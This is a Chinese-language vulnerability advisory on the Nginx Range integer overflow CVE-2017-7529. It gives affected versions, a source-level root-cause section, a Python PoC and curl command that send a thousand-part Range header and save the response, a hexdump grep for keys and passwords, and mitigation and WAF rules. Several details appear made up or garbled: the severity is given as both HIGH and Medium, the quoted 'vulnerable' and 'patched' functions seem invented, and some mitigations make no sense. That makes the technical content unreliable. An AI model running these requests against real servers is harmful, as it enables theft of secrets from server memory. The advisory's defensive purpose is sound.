一、漏洞简介

1.1 漏洞背景

HTTP Range 请求允许客户端请求文件的特定部分。Nginx 的 range filter 模块在处理多个 Range 请求时存在整数溢出漏洞,可导致敏感信息泄露。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2017-7529
危害等级 HIGH / 7.5
漏洞类型 漏洞 3: - Range 整数溢出导致信息泄露
披露时间 2017-07-13
影响组件 Nginx 重点安全
  • CVE 编号:CVE-2017-7529
  • 危害等级:中等(Medium)
  • CVSS 评分:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N(7.5)
  • 漏洞类型:整数溢出 → 信息泄露
  • 潜在影响:泄露服务器内存中的敏感信息(如密钥、会话信息等)

补充核验信息:公开时间:2017-07-13;NVD 评分:7.5(HIGH);CWE:CWE-190。

二、影响范围

2.1 受影响的版本

  • Nginx 0.5.6 - 1.13.2

2.2 不受影响的版本

  • Nginx 1.13.3 及以上
  • Nginx 1.12.1 及以上

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. Nginx 配置启用了 slice 模块,或使用了多个 Range 请求
  2. 攻击者能够发送特制的 Range 请求头

三、漏洞详情与原理解析

3.1 漏洞触发机制

攻击者通过构造包含多个 Range 的 HTTP 请求,利用整数溢出漏洞: 1. 发送包含大量 Range 的请求 2. Nginx 在计算总响应大小时发生整数溢出 3. 分配的缓冲区小于实际需要的大小 4. 在构建 multipart 响应时,向缓冲区外写入数据 5. 泄露内存中的敏感信息

攻击请求示例

GET /file.txt HTTP/1.1
Host: target.com
Range: bytes=0-,0-,0-,0-,0-,...(重复数百次)

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞代码位置src/http/modules/ngx_http_range_filter_module.c

问题根因: 在函数 ngx_http_range_multipart_header() 中,计算 multipart 响应的总大小时使用了 size_t 类型,但在累加多个 Range 的大小时发生了整数溢出。

漏洞代码

static ngx_int_t
ngx_http_range_multipart_header(ngx_http_request_t *r,
    ngx_http_range_filter_ctx_t *ctx)
{
    size_t              len;
    ngx_uint_t          i;
    ngx_http_range_t   *range;

    len = 0;

    /* 累加所有 Range 的大小 */
    range = ctx->ranges.elts;
    for (i = 0; i < ctx->ranges.nelts; i++) {
        len += range[i].end - range[i].start;  /* 整数溢出可能 */
        len += boundary_header_size;
    }

    /* 溢出后 len 变得很小,分配的缓冲区不足 */
    ctx->boundary_header.len = len;
    ctx->boundary_header.data = ngx_pnalloc(r->pool, len);

    /* 后续写入时发生越界 */
}

修复补丁(patch.2017.ranges.txt):

static ngx_int_t
ngx_http_range_multipart_header(ngx_http_request_t *r,
    ngx_http_range_filter_ctx_t *ctx)
{
    off_t               len;  /* 使用 off_t 而非 size_t */
    ngx_uint_t          i;
    ngx_http_range_t   *range;

    len = 0;
    range = ctx->ranges.elts;
    for (i = 0; i < ctx->ranges.nelts; i++) {
        /* 检查溢出 */
        if (len > NGX_MAX_OFF_T_VALUE - (range[i].end - range[i].start)) {
            return NGX_ERROR;
        }
        len += range[i].end - range[i].start;
        len += boundary_header_size;
    }

    /* ... */
}

四、漏洞复现(可选)

4.1 环境搭建

# 使用受影响版本
docker run -d -p 8080:80 nginx:1.13.0

# 准备测试文件
echo "This is a test file for CVE-2017-7529" > /usr/share/nginx/html/test.txt

4.2 PoC 演示与测试过程

#!/usr/bin/env python3
# CVE-2017-7529 PoC - Range Integer Overflow
import requests

def exploit(target_url):
    """构造恶意 Range 请求"""
    headers = {}

    # 构造大量 Range,触发整数溢出
    ranges = []
    for i in range(1000):
        ranges.append("0-")  # 每个都请求从头到尾

    headers['Range'] = 'bytes=' + ','.join(ranges)

    try:
        response = requests.get(target_url + '/test.txt', headers=headers)

        # 检查响应中是否包含异常数据(内存泄露)
        if len(response.content) > 1000:
            print("[!] 可能存在内存泄露!")
            print(f"[+] 响应大小: {len(response.content)}")

            # 查找敏感信息
            if b'PRIVATE' in response.content or b'KEY' in response.content:
                print("[!] 发现可能的敏感信息!")

            # 保存泄露的数据
            with open('leaked_memory.bin', 'wb') as f:
                f.write(response.content)

    except Exception as e:
        print(f"[-] 攻击失败: {e}")

if __name__ == '__main__':
    exploit('http://target-server:8080')

使用 curl 测试

# 构造恶意 Range 请求
RANGES=$(python -c "print(','.join(['0-'] * 1000))")
curl -v "http://target-server:8080/test.txt" -H "Range: bytes=$RANGES" -o leaked.bin

# 分析泄露的内存
hexdump -C leaked.bin | grep -i "key\|password\|secret"

五、修复建议与缓解措施

5.1 官方版本升级建议

# 立即升级到安全版本
# 方法 1:使用包管理器
yum update nginx  # RHEL/CentOS
apt-get upgrade nginx  # Debian/Ubuntu

# 方法 2:从源码编译
wget http://nginx.org/download/nginx-1.13.3.tar.gz
tar -xzf nginx-1.13.3.tar.gz
cd nginx-1.13.3
./configure && make && make upgrade

或应用补丁:

cd nginx-1.13.2
wget http://nginx.org/download/patch.2017.ranges.txt
patch -p1 < patch.2017.ranges.txt
make && make upgrade

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

  1. 限制 Range 请求数量nginx http { # 限制最大 Range 数量 max_ranges 10; }

  2. 完全禁用 Range 请求(如果业务允许): nginx location / { if ($http_range) { return 400; # 拒绝 Range 请求 } }

  3. 使用 WAF 拦截: ``` # ModSecurity 规则 SecRule REQUEST_HEADERS:Range "@gt 100" \ "id:100002,phase:1,deny,status:400,msg:'Too many ranges'"

# 检测 Range 头部长度 SecRule REQUEST_HEADERS:Range "@gt 1000" \ "id:100003,phase:1,deny,status:400,msg:'Range header too long'" ```

  1. Nginx 配置限制: ```nginx server { # 限制请求头大小 large_client_header_buffers 4 8k;

    # 限制 Range 大小 client_max_body_size 1m; } ```

六、参考信息 / 参考链接

6.1 官方安全通告

  • Nginx 安全公告:http://mailman.nginx.org/pipermail/nginx-announce/2017/000200.html
  • 官方补丁:http://nginx.org/download/patch.2017.ranges.txt

6.2 其他技术参考资料

  • NVD 数据库:https://nvd.nist.gov/vuln/detail/CVE-2017-7529
  • Red Hat 安全公告:https://access.redhat.com/errata/RHSA-2017:2538
  • Puppet 安全分析:https://puppet.com/security/cve/cve-2017-7529